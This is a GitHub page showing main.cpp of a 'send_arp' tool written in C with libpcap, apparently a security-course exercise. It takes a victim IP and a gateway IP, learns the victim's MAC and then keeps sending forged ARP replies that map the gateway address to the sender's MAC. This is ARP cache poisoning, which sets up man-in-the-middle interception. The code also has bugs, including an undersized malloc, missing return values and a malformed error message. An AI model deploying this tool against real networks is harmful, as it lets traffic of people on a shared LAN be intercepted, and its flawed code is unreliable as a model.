-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
360 lines (313 loc) · 9.32 KB
/
main.cpp
File metadata and controls
360 lines (313 loc) · 9.32 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
#include "header.h"
int main(int argc, char *argv[])
{
if (argc != 4)
{
printf("wrong!\n[format] sudo ./send_arp <devname> <victim ip> <gateway ip>\n");
return -1;
}
/* init values with arguments */
char *dev = argv[1];
const char *vic_ip_char = (const char *)argv[2];
const char *gate_ip_char = (const char *)argv[3];
/* get local mac address */
u_int8_t *local_mac = (u_int8_t *)malloc(sizeof(u_int8_t) * MACLEN);
get_local_mac(dev, local_mac);
/* set unknown mac address to 0xFFFFFFFFFFFF*/
u_int8_t *null_mac = (u_int8_t *)malloc(sizeof(u_int8_t) * MACLEN);
for (int i = 0; i < MACLEN; i++)
{
null_mac[i] = 0xFF;
}
/* parse ip address to u_int32_t format */
u_int32_t vic_ip;
ipchar_to_uint(vic_ip_char, &vic_ip);
u_int32_t gate_ip;
ipchar_to_uint(gate_ip_char, &gate_ip);
/* pcap handle open */
char errbuf[PCAP_ERRBUF_SIZE];
pcap_t *handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
if (handle == NULL)
{
fprintf(stderr, "couldn't open device %s : %s\n", dev, errbuf);
}
///////////////////////////////////////////////////////////////////////////////
// 1. send ARP REQUEST - make and send [arp request packet]
///////////////////////////////////////////////////////////////////////////////
printf("- send ARP REQUEST to victim \n");
ethernet_hdr *ethernet_h = make_ethernet_header(
null_mac, /* ether_dhost */
local_mac, /* ether_shost */
ARP); /* ether_type */
arp_hdr *arp_h = make_arp_header(
ETHERNET, /* ar_hrd */
IPV4, /* ar_pro */
HWLEN, /* ar_hln */
PTLEN, /* ar_plln */
REQUEST, /* ar_op */
local_mac, /* ar_src_mac */
gate_ip,
// get_local_ip(dev), /* ar_src_ip : doenst' matter what it is*/
null_mac, /* ar_dst_mac */
vic_ip); /* ar_dst_ip */
hton_ethernet(ethernet_h);
hton_arp(arp_h);
print_packet(ethernet_h, arp_h);
///////////////////////////////////////////////////////////////////////////////
// 2. receive ARP REPLY - parse source MAC
// 3. make [arp request packet]
///////////////////////////////////////////////////////////////////////////////
printf("\n\n- receive ARP REPLY from victim ");
u_int8_t temp_mac[MACLEN] = {
0,
};
/* set ethernet_h->ether_shost to received mac address */
while ((receive_reply(handle, vic_ip, temp_mac) != 1))
{
send_packet(handle, ethernet_h, arp_h);
}
printf("\n\n- make ARP REPLY packet");
ethernet_hdr *r_ethernet_h = make_ethernet_header(
temp_mac, /* ether_dhost */
local_mac, /* ether_shost */
ARP); /* ether_type */
arp_hdr *r_arp_h = make_arp_header(
ETHERNET, /* ar_hrd */
IPV4, /* ar_pro */
HWLEN, /* ar_hln */
PTLEN, /* ar_plln */
REPLY, /* ar_op */
local_mac, /* ar_src_mac */
gate_ip, /* ar_src_ip */
temp_mac, /* ar_dst_mac */
vic_ip); /* ar_dst_ip */
hton_ethernet(r_ethernet_h);
hton_arp(r_arp_h);
print_packet(r_ethernet_h, r_arp_h);
///////////////////////////////////////////////////////////////////////////////
// 4. receive ARP REQUEST - make and send [arp reply packet]
///////////////////////////////////////////////////////////////////////////////
while ((receive_request(handle, vic_ip) != 1))
{
send_packet(handle, r_ethernet_h, r_arp_h);
}
return 0;
}
int get_local_mac(const char *dev, u_int8_t *mac)
{
struct ifreq ifr;
int fd;
int rv; // return value - error value from df or ioctl call
/* determine the local MAC address */
strcpy(ifr.ifr_name, dev);
fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);
if (fd < 0)
rv = fd;
else
{
rv = ioctl(fd, SIOCGIFHWADDR, &ifr);
if (rv >= 0) /* worked okay */
memcpy(mac, ifr.ifr_hwaddr.sa_data, IFHWADDRLEN);
}
return rv;
}
/* unused function */
u_int32_t get_local_ip(const char *dev)
{
/*
struct ifreq ifr;
int fd;
u_int32_t ip;
strcpy(ifr.ifr_name, dev);
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd >= 0)
{
struct sockaddr_in* ipaddr = (struct sockaddr_in*)&ifr.ifr_addr;
ioctl(fd, SIOCGIFHWADDR, &ifr);
memcpy(&ip, &(ipaddr->sin_addr), 4);
for(int i = 0 ; i <4; i++){
printf("%02x ", (ip & (0xff<<(i*8))));
}
}
u_int32_t ip = 0x00000a00020f;
return ip;
*/
return -1;
}
void ipchar_to_uint(const char *char_ip, u_int32_t *int_ip)
{
u_int32_t byte3;
u_int32_t byte2;
u_int32_t byte1;
u_int32_t byte0;
char dummyString[2];
if (sscanf(char_ip, "%u.%u.%u.%u%1s",
&byte3, &byte2, &byte1, &byte0, dummyString) == 4)
{
if ((byte3 < 256) && (byte2 < 256) && (byte1 < 256) && (byte0 < 256))
{
*int_ip = (byte3 << 24) + (byte2 << 16) + (byte1 << 8) + byte0;
}
}
}
ethernet_hdr *make_ethernet_header(u_int8_t *ether_dhost, u_int8_t *ether_shost, u_int16_t ether_type)
{
ethernet_hdr *ethernet_h = (ethernet_hdr *)(malloc(sizeof(ethernet_h)));
for (int i = 0; i < MACLEN; i++)
{
ethernet_h->ether_dhost[i] = *(ether_dhost + i);
ethernet_h->ether_shost[i] = *(ether_shost + i);
}
ethernet_h->ether_type = ether_type;
return ethernet_h;
}
arp_hdr *make_arp_header(u_int16_t ar_hrd, u_int16_t ar_pro, u_int8_t ar_hln, u_int8_t ar_pln, u_int16_t ar_op, u_int8_t *ar_src_mac, u_int32_t ar_src_ip, u_int8_t *ar_dst_mac, u_int32_t ar_dst_ip)
{
arp_hdr *arp_h = (arp_hdr *)malloc(sizeof(arp_hdr));
arp_h->ar_hrd = ar_hrd;
arp_h->ar_pro = ar_pro;
arp_h->ar_hln = ar_hln;
arp_h->ar_pln = ar_pln;
arp_h->ar_op = ar_op;
for (int i = 0; i < MACLEN; i++)
{
arp_h->ar_src_mac[i] = *(ar_src_mac + i);
arp_h->ar_dst_mac[i] = *(ar_dst_mac + i);
}
arp_h->ar_src_ip = ar_src_ip;
arp_h->ar_dst_ip = ar_dst_ip;
return arp_h;
}
void hton_ethernet(ethernet_hdr *ethernet_h)
{
for (int i = 0; i < MACLEN; i++)
{
ethernet_h->ether_dhost[i] = *(reverse_array(ethernet_h->ether_dhost) + i);
ethernet_h->ether_shost[i] = *(reverse_array(ethernet_h->ether_shost) + i);
}
ethernet_h->ether_type = htons(ethernet_h->ether_type);
}
void hton_arp(arp_hdr *arp_h)
{
arp_h->ar_hrd = htons(arp_h->ar_hrd);
arp_h->ar_pro = htons(arp_h->ar_pro);
arp_h->ar_hln = arp_h->ar_hln;
arp_h->ar_pln = arp_h->ar_pln;
arp_h->ar_op = htons(arp_h->ar_op);
for (int i = 0; i < MACLEN; i++)
{
arp_h->ar_src_mac[i] = *(reverse_array(arp_h->ar_src_mac) + i);
arp_h->ar_dst_mac[i] = *(reverse_array(arp_h->ar_dst_mac) + i);
}
arp_h->ar_src_ip = htonl(arp_h->ar_src_ip);
arp_h->ar_dst_ip = htonl(arp_h->ar_dst_ip);
}
u_int8_t *reverse_array(u_int8_t *uintarr)
{
u_int8_t *temp = (u_int8_t *)malloc(sizeof(u_int8_t) * (MACLEN));
u_int8_t *p = uintarr + (MACLEN - 1);
for (int i = 0; i < MACLEN; i++)
{
*(temp + i) = *(p - i);
}
return temp;
}
int receive_reply(pcap_t *handle, u_int32_t ar_src_ip, u_int8_t *ether_shost)
{
const u_char *packet;
int rv = -1;
struct pcap_pkthdr *header;
int res = pcap_next_ex(handle, &header, &packet);
ethernet_hdr *ethernet_h = (ethernet_hdr *)malloc(sizeof(ethernet_hdr));
ethernet_h = (ethernet_hdr *)packet;
if (ntohs(ethernet_h->ether_type) == ARP)
{
arp_hdr *arp_h = (arp_hdr *)malloc(sizeof(arp_hdr));
arp_h = (arp_hdr *)(packet + sizeof(ethernet_hdr));
if (ntohs(arp_h->ar_op) == REPLY)
{
/* compare ip address */
if (ntohl(arp_h->ar_src_ip) == ar_src_ip)
{
for (int i = 0; i < MACLEN; i++)
{
ether_shost[i] = *(reverse_array(arp_h->ar_src_mac) + i);
}
//print_packet((ethernet_hdr *)packet, (arp_hdr *)(packet + 14));
return 1;
}
}
}
}
int receive_request(pcap_t *handle, u_int32_t ar_src_ip)
{
const u_char *packet;
int rv = -1;
struct pcap_pkthdr *header;
int res = pcap_next_ex(handle, &header, &packet);
ethernet_hdr *ethernet_h = (ethernet_hdr *)malloc(sizeof(ethernet_hdr));
ethernet_h = (ethernet_hdr *)packet;
if (ntohs(ethernet_h->ether_type) == ARP)
{
arp_hdr *arp_h = (arp_hdr *)malloc(sizeof(arp_hdr));
arp_h = (arp_hdr *)(packet + sizeof(ethernet_hdr));
if (ntohs(arp_h->ar_op) == REQUEST)
{
/* compare ip address */
if (ntohl(arp_h->ar_src_ip) == ar_src_ip)
{
return 1;
}
}
}
}
void send_packet(pcap_t *handle, ethernet_hdr *ethernet_h, arp_hdr *arp_h)
{
u_char *packet;
int packet_size = sizeof(ethernet_hdr) + sizeof(arp_hdr);
packet = (u_char *)malloc(sizeof(u_char) * packet_size);
memcpy(packet, ethernet_h, sizeof(ethernet_hdr));
memcpy(packet + sizeof(ethernet_hdr), arp_h, sizeof(arp_hdr));
if (pcap_sendpacket(handle, packet, packet_size) != 0)
{
fprintf(stderr, "\nError sending the packet: \n", pcap_geterr(handle));
}
}
void print_packet(ethernet_hdr *ethernet_h, arp_hdr *arp_h)
{
/* print ethernet header */
printf("\n\n[ETHERNET HEADER]\n");
printf("Destination MAC : ");
for (int i = 0; i < MACLEN; i++)
{
printf("%02x ", *(ethernet_h->ether_dhost + i));
}
printf("\nSource MAC : ");
for (int i = 0; i < MACLEN; i++)
{
printf("%02x ", *(ethernet_h->ether_shost + i));
}
printf("\nEther Type : ");
printf("%02x", ethernet_h->ether_type);
/* print arp header */
printf("\n[ARP HEADER]\n");
printf("Hardware type : %04x\n", arp_h->ar_hrd);
printf("Protocol : %04x\n", arp_h->ar_pro);
printf("ar hln : %02x\n", arp_h->ar_hln);
printf("ar pln : %02x\n", arp_h->ar_pln);
printf("OP code : %04x\n", arp_h->ar_op);
printf("Source MAC : ");
for (int i = 0; i < MACLEN; i++)
{
printf("%02x ", *(arp_h->ar_src_mac + i));
}
printf("\nSource IP : ");
printf("%0x\n", arp_h->ar_src_ip);
printf("Destination MAC : ");
for (int i = 0; i < MACLEN; i++)
{
printf("%02x ", *(arp_h->ar_dst_mac + i));
}
printf("\nDestination IP : ");
printf("%0x", arp_h->ar_dst_ip);
}